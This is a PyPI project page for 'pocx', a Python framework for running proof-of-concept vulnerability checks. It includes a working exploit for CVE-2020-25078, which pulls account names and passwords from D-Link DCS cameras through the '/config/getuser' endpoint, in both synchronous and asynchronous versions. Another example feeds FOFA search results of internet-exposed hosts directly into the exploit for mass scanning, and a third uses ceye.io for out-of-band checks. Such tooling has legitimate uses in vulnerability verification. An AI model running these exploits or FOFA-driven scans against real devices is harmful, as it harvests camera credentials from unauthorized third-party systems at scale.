Skip to main content

A Simple, Fast and Powerful poc engine tools was built by antx, which support synchronous mode and asynchronous mode.

Project description

pocx

A Simple, Fast and Powerful poc engine tools was built by antx, which support synchronous mode and asynchronous mode.

Description

pocx is a simple, fast and powerful poc engine tools, which support synchronous mode and asynchronous mode. pocx also support some useful features, which like fofa search and parse assets to verify. You also can use smart method to verify some special assets by using ceyeio, which it is cannot return or display the result.

Install

pip3 install pocx

Usage

POC Template

# Title: xxxxxxx
# Author: antx
# Email: wkaifeng2007@163.com
# CVE: CVE-xxxx-xxxxx

from pocx import BasicPoc, AioPoc


class POC(BasicPoc):
    def __init__(self):
        self.name = 'poc'
        super(POC, self).__init__()

    def poc(self, target):
        """
        
        your poc code here.
        
        """


if __name__ == '__main__':
    target = 'http://127.0.0.1'
    cve = POC()
    cve.run(target)

Synchronous Mode Example

# Title: D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078
# Author: antx
# Email: wkaifeng2007@163.com
# CVE: CVE-2020-25078

from pocx import BasicPoc
from loguru import logger


class DLinkPoc(BasicPoc):
    @logger.catch(level='ERROR')
    def __init__(self):
        self.name = 'D_Link-DCS-2530L'
        super(DLinkPoc, self).__init__()

    @logger.catch(level='ERROR')
    def poc(self, target: str):
        poc_url = '/config/getuser?index=0'
        try:
            resp = self.get(target + poc_url)
            if resp.status_code == 200 and 'name' in resp.text and 'pass' in resp.text:
                logger.success(resp.text)
            elif resp.status_code == 500:
                logger.error(f'[-] {target} {resp.status_code}')
        except Exception as e:
            logger.error(f'[-] {target} {e}')


if __name__ == '__main__':
    target = 'http://127.0.0.1'
    cve = DLinkPoc()
    cve.run(target)

Asynchronous Mode Example

# Title: D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078
# Author: antx
# Email: wkaifeng2007@163.com
# CVE: CVE-2020-25078

from pocx import AioPoc
from loguru import logger


class DLinkPoc(AioPoc):
    @logger.catch(level='ERROR')
    def __init__(self):
        self.name = 'D_Link-DCS-2530L'
        super(DLinkPoc, self).__init__()

    @logger.catch(level='ERROR')
    async def poc(self, target: str):
        poc_url = '/config/getuser?index=0'
        try:
            resp = await self.aio_get(target + poc_url)
            if resp.status_code == 200 and 'name' in resp.text and 'pass' in resp.text:
                logger.success(resp.text)
            elif resp.status_code == 500:
                logger.error(f'[-] {target} {resp.status_code}')
        except Exception as e:
            logger.error(f'[-] {target} {e}')


if __name__ == '__main__':
    target = 'http://127.0.0.1'
    cve = DLinkPoc()
    cve.run(target)

Useful Functions

FoFa

# Title: xxxxxxx
# Author: antx
# Email: wkaifeng2007@163.com
# CVE: CVE-xxxx-xxxxx

from pocx import BasicPoc, AioPoc
from pocx.funcs import Fofa


class POC(BasicPoc):
    def __init__(self):
        self.name = 'poc'
        super(POC, self).__init__()

    def poc(self, target):
        """
        
        your poc code here.
        
        """


if __name__ == '__main__':
    grammar = 'app="xxxxxx"'
    cve = POC()
    fofa = Fofa()
    fofa.set_config(api_key='xxxxxx', api_email='xxxxxx')
    print(f'[+] the asset account of grammar: {grammar} are: {fofa.asset_counts(grammar)}')
    pages = fofa.asset_pages(grammar)
    for page in range(1, pages + 1):
        print(f'[*] page {page}')
        assets = fofa.assets(grammar, page)
        cve.run(assets)

Ceye

# Title: xxxxxxx
# Author: antx
# Email: wkaifeng2007@163.com
# CVE: CVE-xxxx-xxxxx

from pocx import BasicPoc, AioPoc
from pocx.funcs import Ceye


class POC(BasicPoc):
    def __init__(self):
        self.name = 'poc'
        super(POC, self).__init__()
        self.ceyeio = Ceye()
        
    def poc(self, target):
        pid = self.ceyeio.generate_payload_id()
        self.ceyeio.set_config(api_token='xxxxxx', identifier='xxxxxx.ceye.io')
    
        """
        
        your poc code here.
        
        """
        
        self.ceyeio.verify(pid, 'dns')


if __name__ == '__main__':
    target = 'http://127.0.0.1:8888'
    cve = POC()
    cve.run(target)

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pocx-0.1.7.tar.gz (7.5 kB view details)

Uploaded Source

Built Distribution

pocx-0.1.7-py3-none-any.whl (8.1 kB view details)

Uploaded Python 3

File details

Details for the file pocx-0.1.7.tar.gz.

File metadata

  • Download URL: pocx-0.1.7.tar.gz
  • Upload date:
  • Size: 7.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.1.13 CPython/3.10.2 Linux/5.13.13-1-MANJARO

File hashes

Hashes for pocx-0.1.7.tar.gz
Algorithm Hash digest
SHA256 cbcc26deb502b74987e16586e8296fbd3af710d39adc44027fe3d3fea3bb874e
MD5 42f17d7ac1385c9d4065ed2115791eb5
BLAKE2b-256 c8ed3359cfb445b68d9b6e8a16d1d5d0ddd74e78aa74124db0aa5a0875a989ba

See more details on using hashes here.

File details

Details for the file pocx-0.1.7-py3-none-any.whl.

File metadata

  • Download URL: pocx-0.1.7-py3-none-any.whl
  • Upload date:
  • Size: 8.1 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.1.13 CPython/3.10.2 Linux/5.13.13-1-MANJARO

File hashes

Hashes for pocx-0.1.7-py3-none-any.whl
Algorithm Hash digest
SHA256 25bc890303503f3d2d23f329a81bcac8bc709095b95ba254dcd16a0e36a52906
MD5 3784f70bbbb0b1d958066c37b81b54bb
BLAKE2b-256 ea9b0820d64851969f5a3a3468a3709f8ff3a77df64902f8257ef63f9134261e

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page